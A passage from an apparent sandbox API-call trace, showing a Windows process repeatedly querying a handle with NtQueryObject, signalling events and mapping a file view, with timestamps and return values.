ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.464] ResetEvent (hEvent=0xe8) returned 1 [0057.464] SetEvent (hEvent=0xec) returned 1 [0057.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.464] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.464] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.464] ResetEvent (hEvent=0xe8) returned 1 [0057.464] SetEvent (hEvent=0xec) returned 1 [0057.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.464] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.464] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.464] ResetEvent (hEvent=0xe8) returned 1 [0057.464] SetEvent (hEvent=0xec) returned 1 [0057.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.464] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.465] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.465] ResetEvent (hEvent=0xe8) returned 1 [0057.465] SetEvent (hEvent=0xec) returned 1 [0057.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.465] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.465] ResetEvent (hEvent=0xe8) returned 1 [0057.465] SetEvent (hEvent=0xec) returned 1 [0057.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.465] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.465] ResetEvent (hEvent=0xe8) returned 1 [0057.465] SetEvent (hEvent=0xec) returned 1 [0057.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.465] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.466] ResetEvent (hEvent=0xe8) returned 1 [0057.466] SetEvent (hEvent=0xec) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.466] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.466] ResetEvent (hEvent=0xe8) returned 1 [0057.466] SetEvent (hEvent=0xec) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.466] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.466] ResetEvent (hEvent=0xe8) returned 1 [0057.466] SetEvent (hEvent=0xec) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.467] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.467] ResetEvent (hEvent=0xe8) returned 1 [0057.467] SetEvent (hEvent=0xec) returned 1 [0057.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.467] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.467] ResetEvent (hEvent=0xe8) returned 1 [0057.467] SetEvent (hEvent=0xec) returned 1 [0057.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.467] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.467] ResetEvent (hEvent=0xe8) returned 1 [0057.467] SetEvent (hEvent=0xec) returned 1 [0057.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.468] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.468] ResetEvent (hEvent=0xe8) returned 1 [0057.468] SetEvent (hEvent=0xec) returned 1 [0057.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.468] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.468] ResetEvent (hEvent=0xe8) returned 1 [0057.468] SetEvent (hEvent=0xec) returned 1 [0057.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.468] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.468] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.468] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.468] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.468] ResetEvent (hEvent=0xe8) returned 1 [0057.468] SetEvent (hEvent=0xec) returned 1 [0057.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.469] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.469] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.469] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.469] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.469] ResetEvent (hEvent=0xe8) returned 1 [0057.469] SetEvent (hEvent=0xec) returned 1 [0057.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.469] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.469] ResetEvent (hEvent=0xe8) returned 1 [0057.469] SetEvent (hEvent=0xec) returned 1 [0057.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.469] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.469] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.469] ResetEvent (hEvent=0xe8) returned 1 [0057.469] SetEvent (hEvent=0xec) returned 1 [0057.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.470] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.470] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.470] ResetEvent (hEvent=0xe8) returned 1 [0057.470] SetEvent (hEvent=0xec) returned 1 [0057.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.470] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.470] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.470] ResetEvent (hEvent=0xe8) returned 1 [0057.470] SetEvent (hEvent=0xec) returned 1 [0057.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.470] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.470] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.470] ResetEvent (hEvent=0xe8) returned 1 [0057.470] SetEvent (hEvent=0xec) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.471] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.471] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.471] ResetEvent (hEvent=0xe8) returned 1 [0057.471] SetEvent (hEvent=0xec) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.471] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.471] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.471] ResetEvent (hEvent=0xe8) returned 1 [0057.471] SetEvent (hEvent=0xec) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.471] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.471] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.471] ResetEvent (hEvent=0xe8) returned 1 [0057.471] SetEvent (hEvent=0xec) returned 1 [0057.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.472] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.472] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.472] ResetEvent (hEvent=0xe8) returned 1 [0057.472] SetEvent (hEvent=0xec) returned 1 [0057.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.472] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.472] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.472] ResetEvent (hEvent=0xe8) returned 1 [0057.472] SetEvent (hEvent=0xec) returned 1 [0057.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.472] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.472] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.472] ResetEvent (hEvent=0xe8) returned 1 [0057.472] SetEvent (hEvent=0xec) returned 1 [0057.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.473] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.473] ResetEvent (hEvent=0xe8) returned 1 [0057.473] SetEvent (hEvent=0xec) returned 1 [0057.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.473] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.473] ResetEvent (hEvent=0xe8) returned 1 [0057.473] SetEvent (hEvent=0xec) returned 1 [0057.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.473] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.473] ResetEvent (hEvent=0xe8) returned 1 [0057.473] SetEvent (hEvent=0xec) returned 1 [0057.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.473] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.474] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.474] ResetEvent (hEvent=0xe8) returned 1 [0057.474] SetEvent (hEvent=0xec) returned 1 [0057.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.474] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.474] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.474] ResetEvent (hEvent=0xe8) returned 1 [0057.474] SetEvent (hEvent=0xec) returned 1 [0057.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.474] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.474] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.474] ResetEvent (hEvent=0xe8) returned 1 [0057.474] SetEvent (hEvent=0xec) returned 1 [0057.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.474] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.474] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.475] ResetEvent (hEvent=0xe8) returned 1 [0057.475] SetEvent (hEvent=0xec) returned 1 [0057.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.475] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.475] ResetEvent (hEvent=0xe8) returned 1 [0057.475] SetEvent (hEvent=0xec) returned 1 [0057.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.475] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.475] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.475] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.475] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.475] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.475] ResetEvent (hEvent=0xe8) returned 1 [0057.475] SetEvent (hEvent=0xec) returned 1 [0057.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.476] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.476] ResetEvent (hEvent=0xe8) returned 1 [0057.476] SetEvent (hEvent=0xec) returned 1 [0057.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.476] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.476] ResetEvent (hEvent=0xe8) returned 1 [0057.476] SetEvent (hEvent=0xec) returned 1 [0057.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.476] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.476] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.476] ResetEvent (hEvent=0xe8) returned 1 [0057.476] SetEvent (hEvent=0xec) returned 1 [0057.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.477] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.477] ResetEvent (hEvent=0xe8) returned 1 [0057.477] SetEvent (hEvent=0xec) returned 1 [0057.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.477] RtlFreeHeap (HeapHandle=0x300000, 